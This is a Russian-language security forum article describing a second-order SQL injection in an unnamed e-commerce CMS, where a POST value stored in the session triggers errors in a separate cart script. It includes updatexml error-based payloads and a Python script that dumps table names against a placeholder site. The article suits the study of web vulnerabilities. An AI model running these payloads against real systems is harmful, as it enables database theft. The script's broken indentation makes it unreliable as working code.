• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Хроники мастера кавычки: Cookie manipulation

1.jpg



В чём суть…


Далеко не всегда всё идёт по плану. Многое можно просто оставить, думая о том, что встретил неэксплуатируемую уязвимость. Многое можно не заметить… Поэтому я пишу данный материал, что бы ты был готов. Здесь не будет мануала по взлому какого-то ресурса с данным багом. Я буду разбирать уязвимости как пример, без ссылок на конкретные cms и сайты. То, о чём хочу написать в этом цикле статей - мой опыт, то что я встречал и мне показалось интересным. Здесь нет времени и срока давности, это истории о том, как я находил уязвимости и заставлял их работать. Есть ситуации в которых выручал опыт, а были в которых помогала интуиция. Хотя, если подумать, это ли не одно и тоже? Есть уникальные sql баги которые я ещё не заставил работать, если тебе будет интересен данный материал, отпишись в комментариях, я раскурю их и разложу здесь. А теперь усаживайся поудобнее, мы приступим к первой истории.


Sql Injection cookie session manipulation


Именно так я прозвал эту уязвимость. Занимаясь исследованием одной популярной ( на времена начала 10ых ) коммерс cms, я наткнулся на уязвимый параметр. Наткнулся интересным методом. У меня был запущен сканнер уязвимостей. Пока сканируется ресурс, всё проверяю рукам. Я встречал множество раз ситуации, когда приложение в упор не видит инъекции и, бывало, весьма очевидных. Случалось такое - я специально скармливал софту уязвимый скрипт, настраивал самый хард режим, а он просто молчал. Что примечательно - разные версии по разному реагируют. И, что удивительней, чем старше версия, тем больше уязвимостей он находит. Не знаю с чем это связанно, но с таким я сталкивался и не единожды. Теперь всё же вернёмся к нашему исследованию. Перепроверив все GET запросы, и ничего не обнаружив, перешёл к POST. Проверяя один за другим, я не находил реакций от веб-приложения. Проверив все, я так же ничего не обнаружил. И тут ты подумаешь - «Ты же не проверил куки?» Да, я до них ещё не добрался и всё же будь тут простая инъекция в куках, наверное на этом статья и закончилась бы, хотя и тут бывают разные варианты. Я решил взглянуть на вывод, узнать как там поживает статистика и обнаружил критическую уязвимость - sql инъекцию error based ( неподтверждённая ) . Неужели я что-то упустил? Как? Открываю информацию об ошибке, редактор http запросов, пытаюсь воспроизвести, но ничего не происходит. Информация об ошибке не изменяется, чтобы я не подставлял в параметры , даже, когда убирал ковычку. Нет реакции при взаимодействии со скриптом. Внимательно всматриваюсь в ответ от субд - инъекция возникла в месте не связанном с текущим скриптом и его параметрами. Когда я проверял руками,в другом скрипте, было POST значение vuln равное единице. Оно же и присутствует в ответе. Значение этой переменной сохранилось и привязалось к сессии, а другой скрипт обратился к этому параметру ( ниже приведу пример ):

Код:
https://vulnsite.site/product.php?product=12&ac=add&sid=1xrt47fh422

POST:
product_num=12&vuln=1'

Данный скрипт добавил в корзину, нужный товар под номером 12 с указанными POST параметрами. Ничего кроме пустой страницы он не вернул. А вот другой скрипт, назовём его cart.php, который обращается за параметрами и где возникает инъекция:

Код:
https://vulnsite.site/cart.php?sid=1xrt47fh422

Возвращается типичный error based. Между прочим, во всей cms это был не единственный скрипт который обращается к параметрам, добавленым в корзину.


Что мы имеем?


Отправляем POST запрос на получение версии СУБД:

Код:
product_num=12&vuln=1' or updatexml(1,concat(0x7e,(SELECT version())),0) --

Открываем cart.php?si =1xrt47fh422 и видим что ошибка остаётся прежней:

Код:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' at line 3

Тогда удаляем все куки в браузере, получаем новую сессию. И отправляем вышеописанные POST данные скрипту с новой сессией:

Код:
https://vulnsite.site/product.php?product=12&ac=add&sid=264ChU3245

А теперь запускаем:

Код:
https://vulnsite.site/cart.php?sid=264ChU3245

Видим ответ:

Код:
1105 - XPATH syntax error: '~5.7.44'

Из всего описанного выше, мы делаем соотвествующие выводы:
1. Инъекция передаётся в одном скрипте POST параметром ( product.php ) и ответ получаем в другом ( cart.php ).
2. 1 инъекция = 1 сессия.

Эксплуатация такой инъекции вручную займёт уйму времени. Поэтому напишем небольшой скриптик на Python, который достанет имена таблиц, что заметно ускорит процесс:

Python:
import requests
import re

tblnum = 115 # Предварительно узнаём количество таблиц в базе

result = [] # Список с именами таблиц

for cf in range(tblnum):

    """ Здесь мы формируем POST запрос на получение имен таблиц """

    postparam = {'product_num' : ' 12', 'vuln' : f'1\' or updatexml(1,concat(0x7e,(SELECT concat_Ws(char(124),table_name) from information_schema.tables limit {cf},1)),0) or \''}

    with requests.Session() as res: # Каждый запрос будет создаваться с новой сессией

        r = res.post("https://vulnsite.site/product.php?product=12&ac=add", postparam)

        r = res.get("https://vulnsite.site/cart.php")

        """ Наполняем массив таблицами """

        rt = re.search(r'XPATH syntax error: \'.+\'',r.text)

           result.append(rt.group())

""" Выводим в терминал названия таблиц """

for _ in range(len(result)):

print(result[_]+'\n')


Заключение


Надеюсь эта информация поможет тебе в поиске и эксплуатации sql багов, на самом деле более 90% уязвимостей данного типа можно довести до полной бд на твоём винте. Многие интересные ситуации которые я встречал и ещё встречу, я постараюсь выкладывать здесь.
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!